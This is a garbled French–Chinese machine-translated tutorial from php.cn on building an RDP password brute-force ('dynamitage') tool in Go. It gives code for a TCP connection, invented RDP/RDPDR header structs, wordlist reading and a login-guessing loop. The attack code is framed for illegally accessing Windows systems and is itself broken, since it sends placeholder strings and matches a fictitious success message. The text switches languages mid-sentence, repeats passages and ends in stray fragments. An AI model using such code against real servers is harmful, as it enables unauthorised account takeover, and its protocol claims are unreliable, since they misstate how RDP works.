Golang implémente le dynamitage RDP-Golang-php.cn

Dans le domaine de la sécurité des réseaux, le dynamitage est une technique permettant de tester la force du mot de passe d'un compte cible. Pour les cyber-attaquants, la force brute est une méthode d'attaque courante conçue pour deviner le mot de passe d'un compte cible afin d'obtenir un accès illégal au système. Ce processus nécessite souvent beaucoup de calculs et de temps, c'est pourquoi de nombreux pirates informatiques choisissent généralement d'utiliser des langages de programmation pour mettre en œuvre des outils d'attaque afin de simplifier et d'accélérer le processus de dynamitage.

Cet article expliquera comment utiliser Go pour écrire un outil d'attaque par explosion RDP, qui comprend principalement les points suivants :

Étudier le protocole RDP
Mettre en œuvre la connexion TCP et la transmission des messages
mettre en œuvre la lecture de la liste du dictionnaire de mots de passe
mettre en œuvre une attaque explosive
Étude du protocole RDP

Remote Desktop Protocol (RDP) est un protocole réseau utilisé pour la gestion à distance des systèmes d'exploitation Windows. Il permet aux utilisateurs de l'ordinateur local de se connecter à distance à un ordinateur distant via le réseau, d'accéder et de contrôler la session de bureau de l'ordinateur distant. RDP est largement utilisé pour l'assistance à distance et l'accès aux postes de travail à distance, mais il fournit également une surface d'attaque permettant aux pirates informatiques de cibler les systèmes d'exploitation Windows.

Avant d'écrire un outil de dynamitage RDP, nous devons avoir une compréhension approfondie de la structure et de la méthode de transmission de données du protocole RDP. Le protocole RDP est divisé en protocole de base et protocole étendu. Dans le protocole de base, le client et le serveur communiquent via une connexion TCP. Dans les protocoles étendus, des canaux virtuels ou des canaux sécurisés sont utilisés pour transmettre plusieurs flux de données afin de prendre en charge les graphiques, l'audio et d'autres fonctionnalités avancées.

Dans la section suivante, nous nous concentrerons sur la façon d'utiliser Golang pour implémenter la connexion et la transmission de messages du protocole de base RDP.

Mise en œuvre d'une connexion TCP et de la transmission de messages

Il est très simple d'établir une connexion TCP à l'aide de Golang. Go fournit le package net pour gérer les sockets et les E/S. Tout d'abord, vous devez utiliser la fonction net.Dial() pour établir une connexion TCP au serveur RDP. Voici un exemple d'extrait de code : net.Dial() 函数来建立与 RDP 服务器的 TCP 连接。下面是一个示例代码片段：

conn, err := net.Dial("tcp", "rdp.example.com:3389")
if err != nil {
    // 处理错误信息
}

Copier après la connexion

我们还需要了解 RDP 协议的消息格式。RDP 消息是基于 ASN.1 标准的数据结构。它们通常由 RDP 协议头和 Microsoft RDPDR 和 MS TPKT 协议头组成。在构建 RDP 消息时，我们需要按以下方式设置消息头：

buf := new(bytes.Buffer)

// RDP 协议头
rdpHeader := RdpHeader{
    Type:        PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10,
    Length:      uint16(len(data)),
    SubType:     1,
    Compressed:  0,
    Authentication: 0,
}
// 写入 RDP 协议头
err = binary.Write(buf, binary.BigEndian, &rdpHeader)
if err != nil {
    // 处理错误信息
}

// Microsoft RDPDR 协议头
rdpdrHeader := RdpdrHeader{
    Component:   RDPDR_CTYP_CORE,
    PacketType:  RDPDR_TYPE_REQUEST,
    PacketId:    uint32(packetId),
    DataLength:  uint32(len(data)),
    ExtraData:   0,
    Status:      STATUS_SUCCESS,
}
// 写入 RDPDR 协议头
err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader)
if err != nil {
    // 处理错误信息
}

// 写入数据
err = binary.Write(buf, binary.LittleEndian, data)
if err != nil {
    // 处理错误信息
}

// 发送数据到 RDP 服务器
_, err = conn.Write(buf.Bytes())
if err != nil {
    // 处理错误信息
}

Copier après la connexion

在上面的代码中，我们首先创建了一个 RDP 协议头和 Microsoft RDPDR 协议头。然后，将消息数据打包并写入到新的字节缓冲区 buf 中。最后，将缓冲区中的数据写入到通过 net.Dial() 建立的 TCP 连接中。

实现密码字典清单的读取

在 RDP 爆破攻击中，密码字典是攻击过程中最重要的部分。密码字典通常包含与目标用户密码相关的单词和字符组合。因此，我们需要从文件中读取这些密码字典，以便在攻击过程中使用它们。

在 Go 中，文件操作非常简单。可以使用 os.Open() 函数打开文件，并使用 bufio.NewReader() 函数将文件添加到缓冲区中，以便我们可以按行读取文件中的数据。以下是示例代码：

func readPasswords(passwordList string) ([]string, error) {
    passwords := []string{}

    file, err := os.Open(passwordList)
    if err != nil {
        return passwords, err
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        passwords = append(passwords, scanner.Text())
    }

    if err := scanner.Err(); err != nil {
        return passwords, err
    }

    return passwords, nil
}

Copier après la connexion

在上面的代码中，我们首先打开密码字典文件，并使用 bufio 包将其添加到缓冲区中。然后可以使用 bufio.Scanner() 函数按行读取文件中的所有数据，并将其附加到 passwords 列表中。最终，函数返回密码列表和可能发生的错误。

实现爆破攻击

有了密码字典和 RDP 消息发送代码，我们可以开始构建 RDP 爆破攻击程序了。在这个程序中，我们需要一个循环来迭代密码字典并尝试猜测每个可能的密码。

下面是示例代码：

func rdpBruteForce(conn net.Conn, user string, passwordList []string) error {
    for _, password := range passwordList {
        _, err := conn.Write([]byte("some rdp message with password " + password))
        if err != nil {
            return err
        }

        // 检查是否成功找到密码
        response := make([]byte, 1024)
        _, err = conn.Read(response)
        if err != nil {
            return err
        }

        if bytes.Contains(response, []byte("successfully authenticated")) {
            fmt.Printf("Password found: %s", password)
            return nil
        }
    }

    return fmt.Errorf("Password not found in the list")
}

Copier après la connexion

在上面的代码中，我们迭代密码字典并使用 conn.Write() 函数向 RDP 服务器发送包含密码字典中当前密码的消息。然后，我们使用 conn.Read() 函数从服务器接收响应消息。如果消息包含字符串“successfully authenticated”，表示找到了正确的密码，程序输出该密码并退出循环。如果成功迭代了密码字典但未找到密码，则输出错误消息。

最后，我们需要通过调用以下函数来实现 RDP 连接和攻击：

func startRdpBruteForce(ip string, user string, passwordList string) error {
    conn, err := net.Dial("tcp", ip+":3389")
    if err != nil {
        return err
    }   
    // 发送所有 RDP 初始化消息
    _, err = conn.Write([]byte("some rdp initialization messages"))
    if err != nil {
        return err
    }

    passwords, err := readPasswords(passwordList)
    if err != nil {
        return err
    }

    err = rdpBruteForce(conn, user, passwords)
    if err != nil {
        return err
    }

    return nil
}

Copier après la connexion

在此函数中，我们首先建立 TCP 连接并发送 RDP 初始化消息。然后，我们使用 readPasswords() 函数读取密码字典文件。最终，我们调用 rdpBruteForce() 函数并将 connrrreee

Nous devons également comprendre le format de message du protocole RDP. Les messages RDP sont des structures de données basées sur la norme ASN.1. Ils se composent généralement d’en-têtes de protocole RDP et d’en-têtes de protocole Microsoft RDPDR et MS TPKT. Lors de la création d'un message RDP, nous devons définir les en-têtes de message comme suit :

rrreee

Dans le code ci-dessus, nous créons d'abord un en-tête de protocole RDP et un en-tête de protocole Microsoft RDPDR. Les données du message sont ensuite compressées et écrites dans un nouveau tampon d'octets buf. Enfin, les données dans le tampon sont écrites sur la connexion TCP établie via net.Dial().

os.Open()

bufio.NewReader()

bufio

bufio.Scanner()

mots de passe

conn.Write()

conn.Read()

readPasswords()

rdpBruteForce()

conn

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!